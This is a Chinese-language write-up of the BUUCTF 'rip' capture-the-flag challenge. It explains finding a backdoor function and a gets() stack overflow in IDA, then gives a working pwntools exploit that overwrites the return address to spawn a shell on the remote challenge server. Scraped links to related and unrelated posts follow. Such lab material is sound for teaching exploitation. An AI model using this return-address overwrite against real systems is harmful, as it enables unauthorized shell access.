[BUUCTF]PWN2——rip
[BUUCTF]PWN2-rip
题目网址:https://buuoj.cn/challenges#rip
步骤:
例行检查附件,64位程序,没有开启任何保护
nc一下,看看输入点的提示字符串,让我们写入一个字符串,然后回显ok,bye
用对应位数的ida打开,shift+f12先来查看一下程序里有的字符串
这里可以看到有bin/sh还有system函数,对于这两个我们比较敏感,因为system(/bin/sh)这句代码能让我们直接获取shell
双击bin/sh跟进,然后安装ctrl+x查看一下哪里调用了这个字符串,点击ok跳转
跳转过来是这样的图形化界面
按f5可以将其编译为伪代码,可以看到这个函数的作用就是获取主机的shell,一般这种函数叫后门函数我们可以在左边函数列表里看到它的函数地址shell_addr=0x401186
我们也可以在之前的图形化界面按空格转换为汇编,一样可以看到函数的地址
回到之前的检索字符串的界面,双击“please input”,跟进找到输入点
第6行,gets函数让我们输入一个字符串给s,可以看到ida分析出来的s的大小是0xF,gets函数没有限制我们输入的字符串的长度,只要我们输入的字符串的长度超过了0xF,就会造成溢出
我们首先来看一下函数栈,如图,从下往上看,变量后跟的是ebp,之后是返回地址,我们这边要造成溢出利用,就得要从变量那边写数据,溢出到返回地址,这需要输入的字符串的长度=变量大小+ebp
32位程序的ebp的大小是4,64位程序的ebp的大小是8
所以我们这边要完成利用所需要的溢出长度是0xF+8,之后将返回地址填上我们之前找到的后门函数地址即可完成利用
exp:
from pwn import*
r=remote('node3.buuoj.cn',29386)
shell_addr=0x401186
payload='a'*(0xF+8)+p64(0x401198)+p64(shell_addr)
#payload='a'*15+p64(shell_addr)
r.sendline(payload)
r.interactive()
在写exp的时候发现不覆盖ebp直接填上后门函数地址也可以完成利用,按照理论应该是不可以的,不懂为什么
[BUUCTF]PWN2——rip的更多相关文章
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- buuctf@rip
exp: from pwn import * buf_start = 0x00007FFDBD754931 buf_end = 0x00007FFDBD754948 func_fun_addr= 0x ...
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- 动态选路、RIP协议&&OSPF协议详解
动态选路.RIP协议&&OSPF协议详解 概念 当相邻路由器之间进行通信,以告知对方每个路由器当前所连接的网络,这时就出现了动态选路.路由器之间必须采用选路协议进行通信,这样的选路协议 ...
- 路由信息协议(RIP)的防环机制
防环机制 1-记数最大值(maximum hop count):定义最大跳数(最大为15跳),当跳数为16跳时,目标为不可达. 2-水平分割(split horizon):从一个接口学习到的路由不会再 ...
- RIP、OSPF、BGP、动态路由选路协议、自治域AS
相关学习资料 tcp-ip详解卷1:协议.pdf http://www.rfc-editor.org/rfc/rfc1058.txt http://www.rfc-editor.org/rfc/rfc ...
- CCNA的RIP路由学习
rip(routing infomation protocol,路由信息协议) ,是一个纯粹的距离矢量路由选择协议,RIP每隔30s就将自己完整的路由选择表从所有激活的接口上送出.RIP只将跳计数作为 ...
- 配置Rip的认证
实验拓扑图 PS:我做实验使用的是DynamipsDUI模拟器,并且加载的是真实的ios镜像(c3745-advipservicesk9-mz.124-3c.bin) 1. 配置路由器R1 2. ...
- CCNP第一天 Rip综合实验
实验题如图所示 R2--R6之间是RipV2, R7和R8是RipV1, 除了R2到R6是快速以太网线,其他均为串线. 所用的拓扑图为CCNP标准版拓扑 如下: ------------------- ...
随机推荐
- JDBC操作多张表一
一.操作一对多情况开发步骤1创建对象 //代码部门的对象public class Department { private String id; private String name; privat ...
- [luogu5163]WD与地图
将删边改为插边,如果是无向图直接线段树合并即可,考虑如何将有向边转换为无向边 令$t_{i}$表示当插入到第$t_{i}$条边时恰好满足$x_{i}$与$y_{i}$在同一个强连通分量中,然后分类讨论 ...
- Docker 急速入门
1. 概述 之前聊了很多 SpringCloud 相关的话题,今天我们来聊聊服务容器 Docker. 2. 在 CentOS7 安装 Docker 2.1 卸载旧版本的Docker # yum re ...
- mybatis新增账号并且返回主键id
<!--新增账号和权限的关联关系--><insert id="save" useGeneratedKeys="true" keyPropert ...
- docker 配置redis并远程访问
我安装的是这个镜像 docker.io/redis docker pull docker mkdir docker cd docker mkdir redis cd redis mkdir data ...
- Codeforces 1089I - Interval-Free Permutations(析合树计数)
Codeforces 题面传送门 & 洛谷题面传送门 首先题目中涉及排列的 interval,因此可以想到析合树.由于本蒟蒻太菜了以至于没有听过这种神仙黑科技,因此简单介绍一下这种数据结构:我 ...
- CF1542E2 Abnormal Permutation Pairs (hard version)
CF1542E2 Abnormal Permutation Pairs (hard version) good tea. 对于两个排列 \(p,q\),如果 \(p\) 的字典序小于 \(q\),则要 ...
- Linux生信服务器磁盘如何挂载使用?
用过很多服务器,但一直没自己挂载过磁盘,因为待挂载的磁盘上都有数据,生怕一不小心把别人的弄坏了. 今天恰好有几块新的磁盘,供我尝试下. 首先查看下磁盘: $ df -h 文件系统 容量 已用 可用 已 ...
- [R] ignore.case区分大小写参数
字符串操作的函数(如contains),很多都包含ignore.case参数,默认是T,即不分大小写,稍不注意就会掉坑里,最好的习惯是下意识地加入这个参数. 举个例子: 我要选择An的列,就用下面这个 ...
- datamash 命令行下的快速计算工具
github地址:https://github.com/agordon/datamash